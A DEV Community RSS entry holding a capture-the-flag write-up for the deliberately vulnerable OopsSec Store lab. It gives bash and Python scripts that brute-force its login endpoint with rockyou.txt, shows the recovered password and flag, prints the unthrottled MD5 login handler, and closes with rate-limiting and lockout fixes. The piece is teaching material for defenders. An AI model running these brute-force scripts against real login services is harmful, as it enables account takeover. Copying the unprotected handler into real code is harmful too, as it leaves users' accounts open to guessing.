<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Oopssec Store</title>
    <description>The latest articles on DEV Community by Oopssec Store (@oopssec-store).</description>
    <link>https://dev.to/oopssec-store</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3896663%2F1ab885ed-da51-48a7-b9fd-423650b1d901.png</url>
      <title>DEV Community: Oopssec Store</title>
      <link>https://dev.to/oopssec-store</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/oopssec-store"/>
    <language>en</language>
    <item>
      <title>Brute-forcing a login endpoint with no rate limiting and MD5</title>
      <dc:creator>Oopssec Store</dc:creator>
      <pubDate>Tue, 13 Oct 2026 19:00:00 +0000</pubDate>
      <link>https://dev.to/oopssec-store/brute-forcing-a-login-endpoint-with-no-rate-limiting-and-md5-3gp5</link>
      <guid>https://dev.to/oopssec-store/brute-forcing-a-login-endpoint-with-no-rate-limiting-and-md5-3gp5</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Brute forcing a user password through an unprotected login endpoint using rockyou.txt.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The login endpoint on OopsSec Store has no rate limiting. No lockout either. You can point &lt;code&gt;rockyou.txt&lt;/code&gt; at a known email and just wait.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab setup
&lt;/h2&gt;

&lt;p&gt;From an empty directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx create-oss-store oss-store
&lt;span class="nb"&gt;cd &lt;/span&gt;oss-store
npm start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Or with Docker (no Node.js required):&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3000:3000 leogra/oss-oopssec-store
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The app runs at &lt;code&gt;http://localhost:3000&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reconnaissance
&lt;/h2&gt;

&lt;p&gt;The News page (&lt;code&gt;/news&lt;/code&gt;) has a "Leaked Data Sample" section simulating a published data breach. Three user records are exposed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Email&lt;/th&gt;
&lt;th&gt;Leaked data&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;alice@example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Email + MD5 hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;bob@example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Email + MD5 hash&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;vis.bruta@example.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Email only&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flghz2x3p3v44cu6s59mn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flghz2x3p3v44cu6s59mn.png" alt="Leaked data sample on the News page" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first two have their MD5 hashes exposed, so those can be cracked offline. The third, &lt;code&gt;vis.bruta@example.com&lt;/code&gt;, only has a confirmed email. No hash. That leaves one option: brute force the login directly.&lt;/p&gt;
&lt;h2&gt;
  
  
  Identifying the login endpoint
&lt;/h2&gt;

&lt;p&gt;Submitting credentials through the form at &lt;code&gt;/login&lt;/code&gt; sends a POST to &lt;code&gt;/api/auth/login&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vis.bruta@example.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"password"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every failed attempt returns a &lt;code&gt;401&lt;/code&gt; with &lt;code&gt;{"error": "Invalid password"}&lt;/code&gt;. Send a hundred requests, send a thousand. Same response. No rate limiting, no lockout, no delay.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa8o7ctehui40bt8p665f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fa8o7ctehui40bt8p665f.png" alt="Failed login attempt in browser DevTools" width="799" height="215"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Preparing the wordlist
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;rockyou.txt&lt;/code&gt; is the obvious choice here: over 14 million passwords from a real data breach. If the password is anything common, it's in there.&lt;/p&gt;
&lt;h3&gt;
  
  
  Brute forcing with a bash loop
&lt;/h3&gt;

&lt;p&gt;This script reads passwords from the wordlist and sends each one to the login endpoint until it gets a hit:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;password&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nv"&gt;response&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST http://localhost:3000/api/auth/login &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;email&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;vis.bruta@example.com&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;,&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;}"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s2"&gt;"token"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Password found: &lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$response&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;break
  &lt;/span&gt;&lt;span class="k"&gt;fi
done&lt;/span&gt; &amp;lt; rockyou.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;It checks for a &lt;code&gt;token&lt;/code&gt; field in each response (only present on success). With nothing throttling requests, this runs through hundreds of passwords per second.&lt;/p&gt;
&lt;h3&gt;
  
  
  Alternative: brute forcing with Python
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost:3000/api/auth/login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;vis.bruta@example.com&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rockyou.txt&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;latin-1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;
        &lt;span class="p"&gt;})&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Password found: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Flag: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;flag&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;break&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Result
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Password found: sunshine
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;sunshine&lt;/code&gt; sits near the top of &lt;code&gt;rockyou.txt&lt;/code&gt;. The whole thing finishes in seconds.&lt;/p&gt;
&lt;h2&gt;
  
  
  Capturing the flag
&lt;/h2&gt;

&lt;p&gt;Log in at &lt;code&gt;/login&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Email: &lt;code&gt;vis.bruta@example.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: &lt;code&gt;sunshine&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A toast notification pops up with the flag:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OSS{brut3_f0rc3_n0_r4t3_l1m1t}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feasl3vu9jl69bpz0psra.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feasl3vu9jl69bpz0psra.png" alt="Flag displayed after successful login" width="799" height="296"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The flag also comes back in the API's JSON response.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerable code analysis
&lt;/h2&gt;

&lt;p&gt;Here's the login handler in &lt;code&gt;/app/api/auth/login/route.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;POST&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// No rate limiting, no account lockout, no delay&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hashedPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hashMD5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findUnique&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;password&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;hashedPassword&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Invalid password&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Authentication proceeds&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;No throttling, no abuse detection. The endpoint accepts unlimited attempts from any source at any speed. Failed attempts aren't tracked, so the account never locks. MD5 is fast enough that each guess costs the server almost nothing. The uniform "Invalid password" error is fine for preventing username enumeration, but it also means the server gives no sign it's noticed anything unusual.&lt;/p&gt;
&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Rate limiting
&lt;/h3&gt;

&lt;p&gt;Cap login attempts per time window. Five attempts per 15 minutes, scoped by IP or account, is a common threshold:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;rateLimit&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;express-rate-limit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;loginLimiter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;rateLimit&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;windowMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 15 minutes&lt;/span&gt;
  &lt;span class="na"&gt;max&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Too many login attempts. Please try again later.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;standardHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;legacyHeaders&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That alone kills high-speed brute force.&lt;/p&gt;
&lt;h3&gt;
  
  
  Account lockout
&lt;/h3&gt;

&lt;p&gt;Track failed attempts per account and lock it temporarily after too many failures:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MAX_FAILED_ATTEMPTS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;LOCKOUT_DURATION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 15 minutes&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;failedLoginAttempts&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="nx"&gt;MAX_FAILED_ATTEMPTS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;lockoutEnd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;lastFailedLogin&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getTime&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;LOCKOUT_DURATION&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;lockoutEnd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;NextResponse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Account temporarily locked. Try again later.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
      &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;429&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


